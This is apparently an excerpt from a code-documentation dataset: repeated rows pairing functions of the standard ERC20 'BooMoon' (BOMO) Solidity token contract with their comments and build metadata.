event Approval(address indexed _owner, address indexed _spender, uint256 _value);
} | allowance | function allowance(address _owner, address _spender) view public returns (uint256 remaining);
| // Returns the amount which _spender is still allowed to withdraw from _owner | LineComment | v0.5.0+commit.1d4f565a | bzzr://d827dc2b10ff2bb38b05225ec2e197d9c60156ce73d52c545437590eccc5237c | {
"func_code_index": [
997,
1095
]
} | 596 |
|||
BOMO | BOMO.sol | 0x06a5d00f4d1303f22e189622dedea6ef77c5c65d | Solidity | BOMO | contract BOMO is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "BOMO";
name = "BooMoon";
decimals = 8;
_totalSupply = 500000000000;
balances[0x668eF1590705cF366CCF8fc01801Ad47cf0D1F52] = _totalSupply;
emit Transfer(address(0), 0x668eF1590705cF366CCF8fc01801Ad47cf0D1F52, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | totalSupply | function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
| // ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------ | LineComment | v0.4.24+commit.e67f0147 | MIT | bzzr://449183bcaa03cc1572f72482d76039b51d453c7c462e4ffe02f696ed7823efaa | {
"func_code_index": [
959,
1080
]
} | 597 |
BOMO | BOMO.sol | 0x06a5d00f4d1303f22e189622dedea6ef77c5c65d | Solidity | BOMO | contract BOMO is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "BOMO";
name = "BooMoon";
decimals = 8;
_totalSupply = 500000000000;
balances[0x668eF1590705cF366CCF8fc01801Ad47cf0D1F52] = _totalSupply;
emit Transfer(address(0), 0x668eF1590705cF366CCF8fc01801Ad47cf0D1F52, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | balanceOf | function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
| // ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------ | LineComment | v0.4.24+commit.e67f0147 | MIT | bzzr://449183bcaa03cc1572f72482d76039b51d453c7c462e4ffe02f696ed7823efaa | {
"func_code_index": [
1300,
1429
]
} | 598 |
BOMO | BOMO.sol | 0x06a5d00f4d1303f22e189622dedea6ef77c5c65d | Solidity | BOMO | contract BOMO is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "BOMO";
name = "BooMoon";
decimals = 8;
_totalSupply = 500000000000;
balances[0x668eF1590705cF366CCF8fc01801Ad47cf0D1F52] = _totalSupply;
emit Transfer(address(0), 0x668eF1590705cF366CCF8fc01801Ad47cf0D1F52, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | transfer | function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
| // ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------ | LineComment | v0.4.24+commit.e67f0147 | MIT | bzzr://449183bcaa03cc1572f72482d76039b51d453c7c462e4ffe02f696ed7823efaa | {
"func_code_index": [
1773,
2055
]
} | 599 |
BOMO | BOMO.sol | 0x06a5d00f4d1303f22e189622dedea6ef77c5c65d | Solidity | BOMO | contract BOMO is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "BOMO";
name = "BooMoon";
decimals = 8;
_totalSupply = 500000000000;
balances[0x668eF1590705cF366CCF8fc01801Ad47cf0D1F52] = _totalSupply;
emit Transfer(address(0), 0x668eF1590705cF366CCF8fc01801Ad47cf0D1F52, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | approve | function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
| // ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------ | LineComment | v0.4.24+commit.e67f0147 | MIT | bzzr://449183bcaa03cc1572f72482d76039b51d453c7c462e4ffe02f696ed7823efaa | {
"func_code_index": [
2563,
2776
]
} | 600 |
BOMO | BOMO.sol | 0x06a5d00f4d1303f22e189622dedea6ef77c5c65d | Solidity | BOMO | contract BOMO is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "BOMO";
name = "BooMoon";
decimals = 8;
_totalSupply = 500000000000;
balances[0x668eF1590705cF366CCF8fc01801Ad47cf0D1F52] = _totalSupply;
emit Transfer(address(0), 0x668eF1590705cF366CCF8fc01801Ad47cf0D1F52, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | transferFrom | function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
| // ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------ | LineComment | v0.4.24+commit.e67f0147 | MIT | bzzr://449183bcaa03cc1572f72482d76039b51d453c7c462e4ffe02f696ed7823efaa | {
"func_code_index": [
3307,
3670
]
} | 601 |
BOMO | BOMO.sol | 0x06a5d00f4d1303f22e189622dedea6ef77c5c65d | Solidity | BOMO | contract BOMO is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "BOMO";
name = "BooMoon";
decimals = 8;
_totalSupply = 500000000000;
balances[0x668eF1590705cF366CCF8fc01801Ad47cf0D1F52] = _totalSupply;
emit Transfer(address(0), 0x668eF1590705cF366CCF8fc01801Ad47cf0D1F52, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | allowance | function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
| // ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------ | LineComment | v0.4.24+commit.e67f0147 | MIT | bzzr://449183bcaa03cc1572f72482d76039b51d453c7c462e4ffe02f696ed7823efaa | {
"func_code_index": [
3953,
4109
]
} | 602 |
BOMO | BOMO.sol | 0x06a5d00f4d1303f22e189622dedea6ef77c5c65d | Solidity | BOMO | contract BOMO is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "BOMO";
name = "BooMoon";
decimals = 8;
_totalSupply = 500000000000;
balances[0x668eF1590705cF366CCF8fc01801Ad47cf0D1F52] = _totalSupply;
emit Transfer(address(0), 0x668eF1590705cF366CCF8fc01801Ad47cf0D1F52, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | approveAndCall | function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
| // ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------ | LineComment | v0.4.24+commit.e67f0147 | MIT | bzzr://449183bcaa03cc1572f72482d76039b51d453c7c462e4ffe02f696ed7823efaa | {
"func_code_index": [
4464,
4786
]
} | 603 |
BOMO | BOMO.sol | 0x06a5d00f4d1303f22e189622dedea6ef77c5c65d | Solidity | BOMO | contract BOMO is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "BOMO";
name = "BooMoon";
decimals = 8;
_totalSupply = 500000000000;
balances[0x668eF1590705cF366CCF8fc01801Ad47cf0D1F52] = _totalSupply;
emit Transfer(address(0), 0x668eF1590705cF366CCF8fc01801Ad47cf0D1F52, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
